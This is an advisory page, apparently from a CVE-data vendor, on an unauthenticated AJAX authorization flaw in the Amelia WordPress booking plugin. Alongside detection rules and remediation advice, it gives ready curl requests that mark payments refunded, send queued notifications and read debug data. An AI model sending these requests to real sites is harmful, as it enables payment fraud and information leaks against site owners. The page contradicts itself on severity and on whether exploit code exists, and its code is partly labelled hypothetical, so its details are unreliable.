CVE-2025-14720
Executive Summary
CVE-2025-14720 is a critical missing authorization vulnerability in the Amelia WordPress plugin (Booking for Appointments and Events Calendar) affecting all versions up to and including 1.2.38. The plugin fails to perform proper capability checks on multiple AJAX actions, allowing unauthenticated attackers to perform privileged operations. An attacker can mark payments as refunded, trigger queued notifications (emails, SMS, WhatsApp), and access sensitive debug information. This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.
The vulnerability has a CVSS score of 5.3 (Medium) but poses a high business risk due to the potential for financial fraud, data leakage, and disruption of appointment scheduling workflows. No public exploit code or Nuclei template is available, but the attack vector is straightforward and can be weaponized with minimal effort.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – Debug information exposure
- Integrity Impact: Low (I:L) – Payment status manipulation, notification abuse
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the direct impact on financial transactions and customer communications elevate the risk for businesses relying on Amelia for appointment management.
Deep Dive & Mechanics
The vulnerability stems from missing capability checks in AJAX handlers registered by the Amelia plugin. In WordPress, AJAX actions intended for administrative or privileged users should verify the user’s capabilities using functions like current_user_can() or wp_verify_nonce(). The Amelia plugin fails to implement these checks for several AJAX endpoints, allowing unauthenticated HTTP requests to trigger sensitive operations.
Affected AJAX Actions (non-exhaustive):
amelia_mark_payment_refunded– Marks a payment as refunded without authentication.amelia_send_queued_notifications– Triggers sending of pending email/SMS/WhatsApp notifications.amelia_get_debug_info– Exposes debug data including system paths, database queries, and configuration details.
An attacker can craft a simple HTTP POST request to /wp-admin/admin-ajax.php with the appropriate action parameter and required data. Since no nonce or capability check is enforced, the request is processed as if it came from an administrator.
Attack Flow:
- Identify a WordPress site running Amelia <= 1.2.38.
- Send a POST request to
admin-ajax.phpwithaction=amelia_mark_payment_refundedand a valid payment ID. - The plugin processes the request and updates the payment status in the database.
- The attacker can repeat this for multiple payments, causing financial loss and administrative chaos.
Vulnerable vs. Patched Code
Vulnerable Code (Amelia <= 1.2.38):
add_action('wp_ajax_amelia_mark_payment_refunded', 'amelia_mark_payment_refunded');
add_action('wp_ajax_nopriv_amelia_mark_payment_refunded', 'amelia_mark_payment_refunded');
function amelia_mark_payment_refunded() {
// No capability check
$payment_id = intval($_POST['payment_id']);
// Process refund...
}
Patched Code (Hypothetical Fix):
add_action('wp_ajax_amelia_mark_payment_refunded', 'amelia_mark_payment_refunded');
// Remove nopriv hook to prevent unauthenticated access
function amelia_mark_payment_refunded() {
// Add capability check
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
// Verify nonce
if (!wp_verify_nonce($_POST['_wpnonce'], 'amelia_refund_nonce')) {
wp_die('Nonce verification failed', 403);
}
$payment_id = intval($_POST['payment_id']);
// Process refund...
}
The key difference is the removal of the wp_ajax_nopriv_ hook (which allows unauthenticated access) and the addition of current_user_can() and nonce verification.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress instance with Amelia plugin version 1.2.38 installed and activated.
- A valid payment ID (can be obtained by booking an appointment or from the database).
Exploitation Steps:
Identify Target:
curl -s http://target.com/wp-content/plugins/amelia/readme.txt | grep "Stable tag"Mark Payment as Refunded:
curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=amelia_mark_payment_refunded&payment_id=1"Trigger Queued Notifications:
curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=amelia_send_queued_notifications"Access Debug Information:
curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=amelia_get_debug_info"
Expected Output: The server responds with success messages or debug data. No authentication is required.
Blue Team
Detection & Response:
- Monitor AJAX Requests: Look for POST requests to
admin-ajax.phpwithactionparameters starting withamelia_from unauthenticated sources. - Check Logs: Review WordPress debug logs for unexpected AJAX calls.
- Harden Plugin: Temporarily disable the plugin or apply a WAF rule to block unauthenticated access to Amelia AJAX actions.
- Audit Database: Check for unauthorized changes to payment statuses (e.g.,
refundedwithout corresponding refund records).
WAF Rule Example (ModSecurity):
SecRule REQUEST_FILENAME "/wp-admin/admin-ajax.php" \
"chain,id:1001,deny,msg:'Amelia Unauthenticated AJAX Access'"
SecRule ARGS:action "^amelia_" \
"chain"
SecRule &ARGS:_wpnonce "0"
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=amelia_mark_payment_refunded,amelia_send_queued_notifications, oramelia_get_debug_infofrom IPs not associated with admin users. - Unusual patterns of payment status changes in a short time frame.
File IOCs:
- Modified database entries in
wp_amelia_paymentstable wherestatusis set torefundedwithout corresponding refund metadata. - Debug log entries showing AJAX calls from unauthenticated users.
Log IOCs:
- WordPress debug.log entries:
[Date] [IP] POST /wp-admin/admin-ajax.phpwithaction=amelia_*and no_wpnonceparameter.
Detection Engineering
YARA Rule
rule CVE_2025_14720_Amelia_Missing_Auth {
meta:
description = "Detects Amelia plugin files missing capability checks on AJAX actions"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14720"
strings:
$ajax_hook = /add_action\s*\(\s*['\"]wp_ajax_nopriv_amelia_/
$no_cap_check = /function\s+amelia_\w+\s*\(\)\s*\{[^}]*?(?!current_user_can)/
condition:
$ajax_hook and $no_cap_check
}
Sigma Rule
title: CVE-2025-14720 Amelia Unauthenticated AJAX Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated POST requests to WordPress admin-ajax.php with Amelia plugin actions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: admin-ajax.php
cs-uri-query|contains|all:
- action=amelia_
condition: selection
falsepositives:
- Legitimate admin users (should be authenticated)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-14720 Amelia Unauthenticated AJAX Access";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=amelia_";
http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: If possible, deactivate the Amelia plugin until a patched version is released.
- Apply Virtual Patching: Use a Web Application Firewall (WAF) to block unauthenticated requests to
admin-ajax.phpwithactionparameters starting withamelia_. - Restrict Access: Limit access to
wp-admin/admin-ajax.phpvia.htaccessor server configuration to only allow authenticated users.
Long-Term Fix:
- The vendor must release a patched version that adds proper capability checks and nonce verification to all AJAX handlers.
- As a temporary workaround, developers can override the vulnerable functions in a custom plugin or theme by removing the
noprivhooks and adding capability checks.
Verification:
- After applying mitigations, test by sending unauthenticated POST requests to the affected AJAX actions. They should return a 403 Forbidden or redirect to the login page.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.